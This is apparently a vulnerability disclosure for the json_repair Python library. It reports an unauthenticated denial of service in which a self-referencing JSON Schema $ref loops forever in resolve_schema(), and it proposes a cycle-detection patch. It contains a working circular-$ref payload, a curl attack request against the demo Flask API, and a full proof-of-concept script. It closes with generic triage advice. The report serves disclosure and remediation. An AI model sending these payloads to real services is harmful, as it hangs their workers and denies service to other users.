$ref causes unbounded CPU DoS in json_repairSchemaRepairer.resolve_schema() in json_repair follows JSON Schema $ref pointers in an unbounded while loop without any cycle detection. An attacker who can supply a schema containing a self-referencing $ref (e.g., via the demo Flask API or any application that passes untrusted input to loads(..., schema=...)), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
SchemaRepairer.resolve_schema() at src/json_repair/schema_repair.py:184–190 resolves $ref chains using a plain while loop:
# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
_resolve_ref() at src/json_repair/schema_repair.py:654–665 always resolves references relative to self.root_schema, which is initialised from the caller-supplied schema (src/json_repair/schema_repair.py:130). When the schema contains a circular reference such as:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
_resolve_ref() returns the same dict object on every iteration, so "$ref" in schema_dict is always True and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)
The only guard is a top-level isinstance(dict, bool) check; there is no $ref depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
docs/app.py:14 — request.get_json() reads the attacker-controlled HTTP body.docs/app.py:21–23 — schema is extracted; only dict/bool type check applied.docs/app.py:33–36 — schema is forwarded verbatim to loads().src/json_repair/json_repair.py:145–148 — schema_from_input(schema) instantiates SchemaRepairer.src/json_repair/json_repair.py:160 — repairer.is_valid() calls resolve_schema(), triggering the infinite loop.src/json_repair/schema_repair.py:184–190 — unbounded while "$ref" in schema_dict loop (sink).src/json_repair/schema_repair.py:654–665 — _resolve_ref() returns the same object on every call.Recommended fix:
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
...
- schema_dict = cast("dict[str, Any]", schema)
+ schema_dict = cast("dict[str, Any]", schema)
+ seen_schema_ids: set[int] = set()
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
+ if not isinstance(ref, str):
+ raise SchemaDefinitionError("$ref must be a string.")
+ schema_id = id(schema_dict)
+ if schema_id in seen_schema_ids:
+ raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+ seen_schema_ids.add(schema_id)
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
return schema_dict
Environment setup:
# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/
# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
Alternatively, use the provided Docker image:
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
HTTP attack request (demo API):
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
-H 'Content-Type: application/json' \
--data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124
Direct library attack:
timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124
Observed results (from Docker-based dynamic reproduction):
{"type":"object","properties":{"name":{"type":"string"}}}): completed in 0.261 s.$ref schema): timed out after 5.01 s — process killed; infinite loop confirmed.This is an unauthenticated denial-of-service vulnerability. Any single HTTP request carrying a circular $ref schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (docs/app.py) accepts the schema field from the request body without authentication and passes it directly to loads(), remote attackers can exploit this with a trivial one-liner.
Beyond the demo API, any application that exposes json_repair.loads(..., schema=<user-controlled>) to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.
DockerfileFROM python:3.11-slim
WORKDIR /app
# Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/
# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
flask \
flask-cors \
jsonschema \
pydantic && \
pip install --no-cache-dir -e /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition
Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink: src/json_repair/schema_repair.py:185
SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.
Attack schema:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.
Verdict logic:
- Baseline (valid schema) must complete in < TIMEOUT seconds.
- Attack (circular $ref) must still be running at TIMEOUT seconds.
Both conditions together constitute deterministic proof of the vulnerability.
"""
import os
import subprocess
import sys
import tempfile
import time
# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5
CIRCULAR_SCHEMA = {
"$ref": "#/definitions/a",
"definitions": {
"a": {"$ref": "#/definitions/a"}
}
}
NORMAL_SCHEMA = {
"type": "object",
"properties": {
"name": {"type": "string"}
}
}
_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""
def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
"""
Run json_repair loads() with the given schema in an isolated subprocess.
Returns:
timed_out (bool): True if the process was still running at `timeout` seconds.
elapsed (float): Wall-clock seconds until completion or kill.
output (str): stdout/stderr excerpt.
"""
script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
fh.write(script_content)
script_path = fh.name
start = time.monotonic()
try:
proc = subprocess.run(
[sys.executable, script_path],
timeout=timeout,
capture_output=True,
text=True,
)
elapsed = time.monotonic() - start
output = (proc.stdout.strip() or proc.stderr.strip())[:400]
return False, elapsed, output
except subprocess.TimeoutExpired:
elapsed = time.monotonic() - start
return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
finally:
os.unlink(script_path)
def main() -> int:
print("=" * 64)
print("VULN-001 PoC: Circular $ref JSON Schema DoS")
print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
print("=" * 64)
# --- Test 1: baseline (must complete quickly) ---
print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
NORMAL_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_baseline:
print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
baseline_ok = False
else:
print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}")
baseline_ok = True
# --- Test 2: circular $ref attack (must time out) ---
print(
f"\n[TEST 2] Attack — circular $ref schema"
f" (expect hang > {TIMEOUT_SECONDS}s)"
)
print(f" Schema: {CIRCULAR_SCHEMA}")
timed_out_attack, elapsed_attack, output_attack = run_schema_test(
CIRCULAR_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_attack:
print(
f" TIMED OUT after {elapsed_attack:.2f}s "
f"— infinite loop CONFIRMED (VULNERABLE)"
)
attack_confirmed = True
else:
print(
f" Completed in {elapsed_attack:.3f}s -> {output_attack}"
f"\n (patched or not triggered — check installation)"
)
attack_confirmed = False
# --- Summary ---
print("\n" + "=" * 64)
if baseline_ok and attack_confirmed:
print("VERDICT: PASS")
print(" Normal schema : returned in under 1 s")
print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)")
print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
return 0
elif not attack_confirmed:
print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
print(" The library may already be patched in this build.")
return 2
else:
print("VERDICT: FAIL — baseline test failed; check the environment")
return 3
if __name__ == "__main__":
sys.exit(main())
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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